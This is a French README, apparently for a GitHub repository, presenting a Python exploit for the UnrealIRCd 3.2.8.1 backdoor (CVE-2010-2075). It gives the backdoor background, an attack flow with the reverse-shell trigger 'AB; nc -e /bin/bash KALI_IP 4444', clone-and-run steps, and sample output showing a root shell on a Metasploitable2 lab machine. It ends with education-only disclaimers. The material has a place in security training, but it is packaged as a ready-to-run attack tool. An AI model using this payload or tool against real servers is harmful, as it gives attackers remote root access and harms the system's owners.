Exploit de la backdoor UnrealIRCd 3.2.8.1 — reverse shell via AB ; déclencheur, développé de zéro en Python à l'aide de sockets bruts. Pas de Metasploit.
UnrealIRCd est un serveur IRC (Internet Relay Chat) open source — un protocole qui permet aux utilisateurs de communiquer en temps réel sur un réseau, similaire aux premières plateformes de messagerie.
En 2009–2010, il a été découvert que la version 3.2.8.1 d'UnrealIRCd distribuée via les miroirs de téléchargement officiels avait été compromise. Un attaquant avait remplacé le code source légitime par une version contenant une porte dérobée avec un déclencheur d'exécution de commandes caché.
Il s'agissait d'une attaque par chaîne d'approvisionnement — de nature identique à CVE-2011-2523 (vsftpd 2.3.4). Le logiciel légitime a été remplacé par une version malveillante modifiée avant que les utilisateurs ne le téléchargent.
La porte dérobée surveille toutes les données entrantes sur le port 6667. Si une entrée commence par la chaîne , tout ce qui suit est transmis — contournant entièrement toute la logique IRC, l'authentification et les vérifications d'enregistrement.
AB;system()Le déclencheur s'active pendant la phase d'initialisation de la connexion, avant même que le serveur IRC n'enregistre le client. Aucun NICK, aucun USER, aucune authentification requise.
Flux d'attaque :
Attacker (Kali) Target (Metasploitable2)
1. s1 connects to port 6667
NICK + USER handshake → Server sends full banner
Read banner, check version
Confirm Unreal3.2.8.1
2. Open listener on port 4444
(waiting for incoming shell)
3. s2 connects to port 6667 → AB; nc -e /bin/bash KALI_IP 4444
→ system() executes immediately
→ netcat spawns bash, connects back
4. listener.accept() ← Incoming root shell connection
Interactive root shell
Cet exploit utilise un reverse shell — la cible se reconnecte à l'attaquant, plutôt que l'attaquant ne se connecte à un port sur la cible.
| Type | Direction | Utilisé dans |
|---|---|---|
| Bind shell | Attaquant → Cible | CVE-2011-2523 (vsftpd) |
| Reverse shell | Cible → Attaquant | CVE-2010-2075 (UnrealIRCd) |
Les reverse shells contournent les règles de pare-feu entrantes — les connexions sortantes depuis la cible sont rarement bloquées.
netcat installé sur la cible (présent par défaut sur Metasploitable2)git clone https://github.com/rushikesh-a-bhujbal/CVE-2010-2075.git
cd exploit-dev/CVE-2010-2075
Modifiez main.py et définissez :
kali_ip = "YOUR_KALI_IP"
target_ip = "TARGET_IP"
Exécutez :
python3 main.py
Exemple de sortie :
[+] Vulnerable version confirmed. Proceeding...
[*] Listening on port 4444...
[+] Shell received from ('192.168.15.132', 58280)
> whoami
root
> uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
> pwd
/etc/unreal
> exit
| Scénario | Comportement |
|---|---|
| Port 6667 fermé | Affiche "Port Closed", se termine proprement |
| Mauvaise version | Affiche "Not vulnerable", se termine proprement |
| La cible ne rappelle pas | listener.accept() attend (ajoutez un timeout si nécessaire) |
| La commande ne produit aucune sortie | recv() expire silencieusement, retour à l'invite |
| CVE-2011-2523 (vsftpd) | CVE-2010-2075 (UnrealIRCd) | |
|---|---|---|
| Protocole | FTP (port 21) | IRC (port 6667) |
| Déclencheur | :) dans le nom d'utilisateur | Préfixe AB; sur toute entrée |
| Type de shell | Bind shell (port 6200) | Reverse shell (port de l'attaquant) |
| Connexions | 2 sortantes | 1 sortante + 1 entrante |
Cet exploit est développé strictement à des fins éducatives et pour la recherche en sécurité autorisée uniquement.
Développé et testé exclusivement contre une machine virtuelle Metasploitable2 locale dans un environnement de laboratoire entièrement isolé.
N'utilisez pas ceci contre un système que vous ne possédez pas ou pour lequel vous n'avez pas la permission écrite explicite de tester. L'utilisation non autorisée est illégale en vertu du Computer Fraud and Abuse Act (CFAA) et des lois équivalentes dans le monde entier.
L'auteur n'accepte aucune responsabilité pour l'utilisation abusive de ce code.
Rushikesh Bhujbal
Recherche en sécurité et développement d'exploits
GitHub